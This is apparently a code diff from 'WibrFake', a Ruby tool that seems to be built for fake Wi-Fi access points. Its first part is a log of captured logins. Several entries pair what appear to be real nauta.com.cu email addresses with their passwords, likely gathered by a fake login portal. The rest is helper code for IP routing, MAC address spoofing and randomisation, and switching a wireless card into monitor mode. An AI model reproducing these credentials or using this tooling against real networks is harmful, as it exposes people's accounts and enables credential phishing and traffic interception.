+ 2025-02-26 07:29:19 -0500 IP: 127.0.0.1, Username: holamundo, Email: , Password: comoesras
24
+ 2025-02-26 07:30:03 -0500 IP: 127.0.0.1, Username: holamundo, Email: , Password:
25
+ 2025-02-26 07:33:53 -0500 IP: 127.0.0.1, Username: holamundo, Email: , Password:
26
+ 2025-02-26 07:33:59 -0500 IP: 127.0.0.1, Username: holamundo, Email: , Password: aaaaaaa
27
+ 2025-02-26 07:34:38 -0500 IP: 127.0.0.1, Username: , Email: , Password:
28
+ 2025-02-26 07:37:03 -0500 IP: 127.0.0.1, Username: aaaaaaa, Email: , Password: aaaa
29
+ 2025-02-26 07:37:07 -0500 IP: 127.0.0.1, Username: aaaaaaa, Email: , Password: aaaa
30
+ 2025-02-26 08:04:13 -0500 IP: 127.0.0.1, Username: , Email: , Password:
31
+ 2025-02-26 08:04:13 -0500 IP: 127.0.0.1, Username: , Email: , Password:
32
+ 2025-02-26 08:04:14 -0500 IP: 127.0.0.1, Username: , Email: , Password:
33
+ 2025-02-26 08:04:14 -0500 IP: 127.0.0.1, Username: , Email: , Password:
34
+ 2025-02-26 08:04:28 -0500 IP: 127.0.0.1, Username: hola, Email: , Password: aaaaa
35
+ 2025-02-26 08:04:31 -0500 IP: 127.0.0.1, Username: sasasaassaassasas, Email: , Password:
36
+ 2025-02-26 08:07:48 -0500 IP: 127.0.0.1, Username: , Email: , Password:
37
+ 2025-02-26 08:08:39 -0500 IP: 127.0.0.1, Username: aaaaaaa, Email: , Password: aaaaaaa
38
+ 2025-02-26 08:12:33 -0500 IP: 127.0.0.1, Username: aaaaaaa, Email: , Password:
39
+ 2025-02-26 08:12:36 -0500 IP: 127.0.0.1, Username: aaaaaaa, Email: , Password: aaaaa
40
+ 2025-02-26 08:15:04 -0500 IP: 127.0.0.1, Username: aaaaaaa, Email: , Password: aaaaa
41
+ 2025-02-26 08:16:58 -0500 IP: 127.0.0.1, Username: aaaaaaa, Email: , Password: aaaaa
42
+ 2025-02-26 08:17:24 -0500 IP: 127.0.0.1, Username: hola, Email: , Password: comoestas
43
+ 2025-02-26 08:20:46 -0500 IP: 192.168.1.203, Username: Hoamsmsm, Email: , Password: kskskdk
44
+ 2025-02-26 09:27:15 -0500 IP: 127.0.0.1, Username: asncjasca, Email: , Password: ascjkcsnjaskcn
45
+ 2025-02-26 09:27:20 -0500 IP: 127.0.0.1, Username: asncjasca, Email: , Password: ascjkcsnjaskcn
46
+ 2025-02-26 09:27:47 -0500 IP: 127.0.0.1, Username: asncjasca, Email: , Password: sacascasc
47
+ 2025-02-26 09:28:16 -0500 IP: 127.0.0.1, Username: holamundo, Email: , Password: comoestas
48
+ 2025-02-26 10:05:46 -0500 IP: 192.168.1.55, Username: Holacomoestas, Email: , Password: jsjsjsjdjdkdkskk
49
+ 2025-02-26 10:06:01 -0500 IP: 192.168.1.55, Username: Holacomoestas, Email: , Password: jsjsjsjdjdkdkskk
50
+ 2025-02-26 10:54:58 -0500 IP: 172.168.1.191, Username: Holamundo, Email: , Password: holamundo
51
+ 2025-02-26 11:19:13 -0500 IP: 192.168.1.19, Username: reinierperezhernandez@nauta.com.cu, Email: , Password: YakelinDeelCobre
52
+ 2025-02-26 11:23:29 -0500 IP: 192.168.1.96, Username: tumamavendedurofrio@nauta.com.cu, Email: , Password: ytupapatambien
53
+ 2025-02-27 05:27:42 -0500 IP: 192.168.1.226, Username: danielperessotolongo@bauta.com.cu, Email: , Password: perezhernandesguasaa
54
+ 2025-02-27 05:29:40 -0500 IP: 192.168.1.226, Username: aguapamayeya@nauta.com.cu, Email: , Password: dnakalskksksdkdkdkskk
55
+ 2025-02-27 06:22:39 -0500 IP: 192.168.1.134, Username: danielpusjajsjsksjks@nauta.com.cu, Email: , Password: holamundoxlsmsnsnsn
56
+ 2025-02-27 11:29:16 -0500 IP: 127.0.0.1, Username: aaaaaaaa, Email: , Password: aaaaa
57
+ 2025-02-27 11:29:51 -0500 IP: 127.0.0.1, Username: aaaaaaaa, Email: , Password: aaaa
58
+ 2025-02-27 11:30:31 -0500 IP: 127.0.0.1, Username: aaaaaaaa, Email: , Password: aaaa
59
+ 2025-02-27 11:30:52 -0500 IP: 127.0.0.1, Username: aaaaaaaa, Email: , Password: aaaa
@@ -0,0 +1,99 @@
1
+ module WibrFake
2
+ class IPRouting
3
+ def initialize(ipaddr, iface)
4
+ begin
5
+ require 'open3'
6
+ require_relative '../Config/ipaddr'
7
+ rescue LoadError =>e
8
+ puts e.message
9
+ exit(1)
10
+ end
11
+ @ipaddr = ipaddr
12
+ @ip = ipaddr.to_s
13
+ @ip_prefix = ipaddr.succ(0)
14
+ @mask = ipaddr.mask
15
+ @mask_number = WibrFake::IPAddr.new(@mask).mask_number
16
+ @iface = iface
17
+ @ruta = false
18
+ end
19
+
20
+ def inspect
21
+ "#<WibrFake IPRouting: IPv4:#{@ip}/#{@mask}>"
22
+ end
23
+
24
+ def ip_inspect
25
+ stdout_route_show, stderr_route_show, status_route_show = Open3.capture3("ip address show dev #{@iface}")
26
+ if(status_route_show.success?)
27
+ stdout_route_show.split("\n").each{|route|
28
+ route.scan(/\b(?:\d{1,3}\.){3}\d{1,3}\b/){|ip|
29
+ if(/#{@ip.split('.')[0..2].join('.')}/ === ip) and (route.include?(@iface))
30
+ return route
31
+ end
32
+ }
33
+ }
34
+ end
35
+ return nil
36
+ end
37
+
38
+ def ruta_inspect
39
+ stdout_route_show, stderr_route_show, status_route_show = Open3.capture3("ip route show")
40
+ if(status_route_show.success?)
41
+ stdout_route_show.split("\n").each{|route|
42
+ if(route.include?("#{@ip}/#{@mask}")) and (route.include?(@iface))
43
+ return route
44
+ end
45
+ }
46
+ end
47
+ end
48
+
49
+ def ruta_add
50
+ stdout_route_add, stderr_route_add, status_route_show_add = Open3.capture3("ip route add #{@ip_prefix}/#{@mask} via #{@ip} dev #{@iface}")
51
+ if(status_route_show_add.success?)
52
+ return ruta_inspect
53
+ end
54
+ end
55
+
56
+ def set()
57
+ stdout_set, stderr_set, status_set = Open3.capture3("ip addr add #{@ip}/#{@mask_number} dev #{@iface}")
58
+ if(status_set.success?)
59
+ puts "\e[1;32m[\e[1;37m+\e[1;32m]\e[1;37m New IPv4: #{@ip}/#{@mask} established"
60
+ unless(ruta_inspect.empty?)
61
+ puts "rute:"
62
+ puts ruta_inspect
63
+ return true
64
+ else
65
+ puts "Assigning route for #{@ip}/#{@mask}:"
66
+ puts ruta_add
67
+ return true
68
+ end
69
+ else
70
+ if(stderr_set.include?("Address already assigned"))
71
+ puts "\e[1;33m[\e[1;37m+\e[1;33m]\e[1;37m Address already assigned IPv4 and Routing for interface #{@iface}"
72
+ print "Do you want to continue or restart the IP?(y/n): "
73
+ restart_ip = gets.chomp=="y"? true:false
74
+ if(restart_ip)
75
+ puts "\e[1;33m[\e[1;37m!\e[1;33m]\e[1;37m Eliminating IPv4: #{@ip}/#{@mask}"
76
+ stdout_del_ip, stderr_del_ip, status_del_ip = Open3.capture3("ip addr del #{@ip}/#{@mask_number} dev #{@iface}")
77
+ if(status_del_ip.success?)
78
+ sleep(1)
79
+ puts "\e[1;32m[\e[1;37m+\e[1;32m]\e[1;37m Assigning new IPv4: #{@ip}/#{@mask}"
80
+ set
81
+ end
82
+ end
83
+ end
84
+ end
85
+ end
86
+ def del()
87
+ stdout_del, stderr_del, status_del = Open3.capture3("ip addr del #{@ip}/#{@mask_number} dev #{@iface}")
88
+ if(status_del.success?)
89
+ puts "IPv4 #{@ip}/#{@mask} removed"
90
+ return true
91
+ else
92
+ if(stderr_del.include?("Address not found"))
93
+ puts "IPv4 #{@ip}/#{@mask} address not found, could not be deleted"
94
+ end
95
+ return false
96
+ end
97
+ end
98
+ end
99
+ end
@@ -0,0 +1,114 @@
1
+ module WibrFake
2
+ class Mac
3
+ def self.veryfi_oui(mac)
4
+ require 'sqlite3'
5
+ begin
6
+ oui = String.new
7
+ db = SQLite3::Database.new(File.join(File.dirname(__FILE__), '..', 'DataBase', 'ouis.db'))
8
+ organization = "Unknown"
9
+ rescue
10
+ warn "Missing database in application"
11
+ end
12
+ oui = mac.slice(0, 8)
13
+ db.execute("SELECT id, name FROM ouis_mac WHERE oui = ?", oui){|row|
14
+ unless(row.empty?)
15
+ organization = row[1]
16
+ end
17
+ }
18
+ organization
19
+ end
20
+
21
+ def self.show(iface, verb = 1)
22
+ stdout_mac, stderr_mac, status_mac = Open3.capture3("ip link show #{iface}")
23
+ if(status_mac.success?)
24
+ macs = []
25
+ stdout_mac.scan(/(?:[0-9A-F][0-9A-F][:\-]){5}[0-9A-F][0-9A-F]/i){|mac| macs << mac}
26
+ current_mac, broadcast_mac, permanent_mac = macs
27
+ permanent_mac = permanent_mac || current_mac
28
+ organization_currentmac = veryfi_oui(current_mac)
29
+ if(verb==1)
30
+ puts "\nCurrent Mac: " + current_mac
31
+ puts "Organization of current mac: #{organization_currentmac}"
32
+ puts "Broadcast Mac: " + broadcast_mac
33
+ puts "Permanent Mac: " + permanent_mac
34
+ else
35
+ return current_mac
36
+ end
37
+ end
38
+ end
39
+
40
+ def self.set(iface, mac)
41
+ if(mac =~ /(?:[0-9A-F][0-9A-F][:\-]){5}[0-9A-F][0-9A-F]/i)
42
+ veryfi_oui(mac)
43
+ stdout_down, stderr_down, status_down = Open3.capture3("ip link set dev #{iface} down")
44
+ if(status_down.success?)
45
+ stdout_set_mac, stderr_set_mac, status_set_mac = Open3.capture3("ip link set #{iface} address #{mac}")
46
+ if(status_set_mac.success?)
47
+ stdout_up, stderr_up, status_up = Open3.capture3("ip link set dev #{iface} up")
48
+ if(status_up.success?)
49
+ puts "New mac: #{mac}"
50
+ end
51
+ end
52
+ end
53
+ end
54
+ end
55
+
56
+ def self.ramset(iface, oui_ramset=false)
57
+ unless(oui_ramset)
58
+ stdout_down, stderr_down, status_down = Open3.capture3("ip link set dev #{iface} down")
59
+ if(status_down.success?)
60
+ loop do
61
+ mac = 6.times.map{"%02x" % rand(256)}.join(':')
62
+ stdout_set_mac, stderr_set_mac, status_set_mac = Open3.capture3("ip link set #{iface} address #{mac}")
63
+ if(status_set_mac.success?)
64
+ stdout_up, stderr_up, status_up = Open3.capture3("ip link set dev #{iface} up")
65
+ if(status_up.success?)
66
+ puts "New Random Mac: #{mac}"
67
+ break
68
+ end
69
+ end
70
+ end
71
+ end
72
+ else
73
+ if(oui_ramset =~ /(?:[0-9A-F][0-9A-F][:\-]){2}[0-9A-F][0-9A-F]/i)
74
+ puts "OUI entered"
75
+ stdout_down, stderr_down, status_down = Open3.capture3("ip link set dev #{iface} down")
76
+ if(status_down.success?)
77
+ mac = oui_ramset + ':' + 3.times.map{"%02x" % rand(256)}.join(':')
78
+ stdout_set_mac, stderr_set_mac, status_set_mac = Open3.capture3("ip link set #{iface} address #{mac}")
79
+ if(status_set_mac.success?)
80
+ stdout_up, stderr_up, status_up = Open3.capture3("ip link set dev #{iface} up")
81
+ if(status_up.success?)
82
+ puts "New random oui mac: #{mac}"
83
+ end
84
+ end
85
+ end
86
+ end
87
+ end
88
+ end
89
+ def self.reset(iface)
90
+ stdout_mac, stderr_mac, status_mac = Open3.capture3("ip link show #{iface}")
91
+ if(status_mac.success?)
92
+ macs = []
93
+ stdout_mac.scan(/(?:[0-9A-F][0-9A-F][:\-]){5}[0-9A-F][0-9A-F]/i){|mac| macs << mac}
94
+ current_mac, broadcast_mac, permanent_mac = macs
95
+ permanent_mac = permanent_mac || current_mac
96
+ if(permanent_mac==current_mac)
97
+ puts "The current mac is the permanent one, no changes applied"
98
+ else
99
+ puts "Mac entered"
100
+ stdout_down, stderr_down, status_down = Open3.capture3("ip link set dev #{iface} down")
101
+ if(status_down.success?)
102
+ stdout_set_mac, stderr_set_mac, status_set_mac = Open3.capture3("ip link set #{iface} address #{permanent_mac}")
103
+ if(status_set_mac.success?)
104
+ stdout_up, stderr_up, status_up = Open3.capture3("ip link set dev #{iface} up")
105
+ if(status_up.success?)
106
+ puts "Mac successfully changed"
107
+ end
108
+ end
109
+ end
110
+ end
111
+ end
112
+ end
113
+ end
114
+ end
@@ -0,0 +1,44 @@
1
+ module WibrFake
2
+ class Monitor
3
+ def self.on(iface)
4
+ puts "Desactivando la interfaz"
5
+ stdout_down, stderr_down, status_down = Open3.capture3("ip link set dev #{iface} down")
6
+ if(status_down.success?)
7
+ stdout_monitor, stderr_monitor, status_monitor = Open3.capture3("iw dev #{iface} set type monitor")
8
+ if(status_monitor.success?)
9
+ stdout_up, stderr_up, status_up = Open3.capture3("ip link set dev #{iface} up")
10
+ if(status_up.success?)
11
+ puts "\e[1;32m[\e[1;37m+\e[1;32m]\e[1;37m The monitor mode is activated"
12
+ end
13
+ end
14
+ end
15
+ end
16
+
17
+ def self.off(iface)
18
+ puts "down"
19
+ stdout_down, stderr_down, status_down = Open3.capture3("ip link set dev #{iface} down")
20
+ if(status_down.success?)
21
+ stdout_monitor, stderr_monitor, status_monitor = Open3.capture3("iw dev #{iface} set type managed")
22
+ if(status_monitor.success?)
23
+ stdout_up, stderr_up, status_up = Open3.capture3("ip link set dev #{iface} up")
24
+ if(status_up.success?)
25
+ end
26
+ end
27
+ end
28
+ end
29
+
30
+ def self.status(iface, verb = 0)
31
+ stdout_network, stderr_network, status_network = Open3.capture3("iw dev #{iface} info")
32
+ macaddress = String.new
33
+ if(status_network.success?)
34
+ if stdout_network.include?("type managed") or stdout_network.include?("type AP")
35
+ return "\033[38;5;196moff\e[1;37m" if(verb==1)
36
+ puts "\n\e[1;33m[\e[0mi\e[1;33m]\e[1;37m The status monitor mode is not activated"
37
+ elsif stdout_network.include?("type monitor")
38
+ return "\033[38;5;46mon\e[1;37m" if(verb==1)
39
+ puts "\e[1;32m[\e[1;37m+\e[1;32m]\e[1;37m The status monitor mode is activated"
40
+ end
41
+ end
42
+ end
43
+ end
44
+ end
File without changes
@@ -0,0 +1,11 @@
1
+ module WibrFake
2
+ class UUID
3
+ def self.session(iface)
4
+ mac = WibrFake::Mac.show(iface, 0).gsub(':', '')
5
+ time = Time.now.to_s.split('-').join.split(':').join.split(' ').join
6
+ number = 3.times.map{"%02x" % rand(256)}.join
7
+ id = iface + "-" + time + "-" + number + "-" + mac
8
+ return id
9
+ end
10
+ end
11
+ end
@@ -0,0 +1,5 @@
1
+
2
+
3
+
4
+
5
+